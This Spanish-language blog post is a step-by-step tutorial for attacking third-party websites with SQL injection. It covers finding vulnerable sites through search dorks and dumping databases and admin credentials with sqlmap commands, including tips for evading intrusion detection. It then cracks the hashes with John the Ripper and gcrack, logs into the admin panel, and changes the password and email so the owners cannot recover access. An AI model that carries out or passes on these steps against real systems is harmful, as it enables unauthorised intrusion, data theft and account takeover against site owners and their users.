Post98 nn

Historia


SQLMap es una herramienta para explotar la vulnerabilidad de SQL injection. Esta técnica se puede usar para realizar un ataque a una base de datos como la de una tienda virtual o incluso para paginas web que tengan esta vulnerabilidad.


Para realizar un ataque a la base de datos de una tienda virtual o página web se tienen que realizar los siguientes pasos:

Al ataque


1. Se recomienda usar el dork .php?id=101 o cualquier otro número en Bing antes que en Google (porque da mejores resultados y además no te pide un capcha cuando estas utilizando continuamente dorks) para encontrar páginas con posibles vulnerabilidades SQL Injection o utilizar una herramienta como Acunetix o Vega que es Open Source y trabaja en Linux(posteriormente creare otro artículo sobre esta magnífica y simple herramienta) para asegurarnos que esa página tiene esa vulnerabilidad ,una de las más importantes dentro de las vulnerabilidades de las aplicaciones web y paginas según OWASP






Busqueda de dooks




2. Una vez encontremos una página con esta vulnerabilidad podemos saber que DBMS es provocando un error añadiendo al final de la URL ´ y dependiendo de la librería es una DBMS u otra:


Si nos aparece la siguiente información es una BD SQL Server

System.Data.SqlClient.SqlException


Si aparece la siguiente información es una BD MYSQL 


mysql_fetch_array


Si aparece la siguiente información es una BD Oracle


java.sql.sqlException



3. Arrancamos sqlmap y podemos ver sus opciones con sqlmap -h




Vista de sql map



4. Para obtener las Base de datos del DBMS se usa el comando


sqlmap -u http://paginaweb.php?id=numero –dbs


Si buscamos aplicaciones escritas en php sino en .net seria .aspx?id=numero; te dirá la BD y te preguntara si quieres probar con más id vulnerables y si ralentizar el ataque para no ser detectado por un IDS le dices a todo que yes




Inyección a la base de datos




5. Para ver las tablas de una BD seria:


sqlmap -u paginaweb.php?id=numero –random-agent -level 5 -D condadonew   --tables;


random-agent es para que utilice distintos agentes y level 5 es el máximo nivel de consultas




Base de datos




6. Para ver las columnas de una tabla, por ejemplo, de la tabla usuario_admin:


sqlmap -u http://paginaweb.php?id=101 -random-agent -level 5 -D -D condadonew -D condadonew -T usuario_admin –columns




Base de datos



7. Para ver el valor de una columna, por ejemplo, la clave:


sqlmap -u http://paginaweb.php?id=101 -D condadonew -T usuario_admin -C clave –dump



Contenido de la base de datos


8. Para ver el valor de la columna usuario:


sqlmap -u http://paginaweb.php?id=101 -D condadonew -T usuario_admin -C usuario –dump




Contenido de la base de datos



9. En este caso la clave no tiene un hash pero si lo tuviera tendríamos que ejecutar en otro Shell hash-identifier para saber el tipo de hash


10. Ejecutando john de ripper suponiendo que es un hash md5:


john–format=raw_md5 archivoconhash


Obtendríamos el password


10. Solo necesitaríamos encontrar el login del administrador con un dork como inurl:admin inurl:login en google para poder acceder a la zona de administrador


11. Deberiamos cambiar el usuario, la contraseña y el email para que no puedan recuperar la contraseña


Notas:


Si la DBMS tuviera mas BD, para saber los usurios de todas las bases de datos seria


sqlmap -u http://paginaweb.php?id=101 –-users


Para saber los hash de esos usuarios de las BD seria


sqlmap -u http://paginaweb.php?id=101 –-passwords


Esto automaticamente intenta crackear el hash con el diccionario de SQLMap pero si no lo consigue podemos utilizar la aplicación Gcrack

si no conseguimos la contraseña del admin podemos ir a phpmyadmin si lo tiene y utilizar esa contraseña si la sacamos.


Gcrack


Esta aplicación permite romper los hashes md5, sha1, sha224, sha256, sha384, sha512 y ntlm


Para instalar este programa deberemos tener en nuestro sistema operativo Python, y también el paquete python-lxml. De manera opcional podemos instalar python-nltk para mejorar la velocidad del crackeo de las contraseñas

Hay que ejecutar este comando para todas las posibles dependencias


pip install nltk google requests BeautifulSoup


Este programa se puede instalar y ejecutar en cualquier sistema operativo gracias a que está escrito en Python, mientras que tengamos el intérprete instalado podremos utilizarlo sin ningún problema.

Para descargarlo podemos utilizar


git clone https://github.com/tkisason/gcrack.git


Ahora ingresamos al directorio


cd gcrack


Lo ejecutamos ./gcrack.py archivo.txt y le pasamos los hashes en un archivo, utiliza google para encontrar la contraseña

esta también permite crear un archivo con hashes a partir de un diccionario


./gwordlist.py rockyou.txt roockyouhashes.txt


rockyou es un diccionario bastante famoso en internet para realizar un ataque de fuerza bruta por lo que combinado con generación de hashes pueden servir para realizar ataques de rainbow table





Artículos que te pueden interesar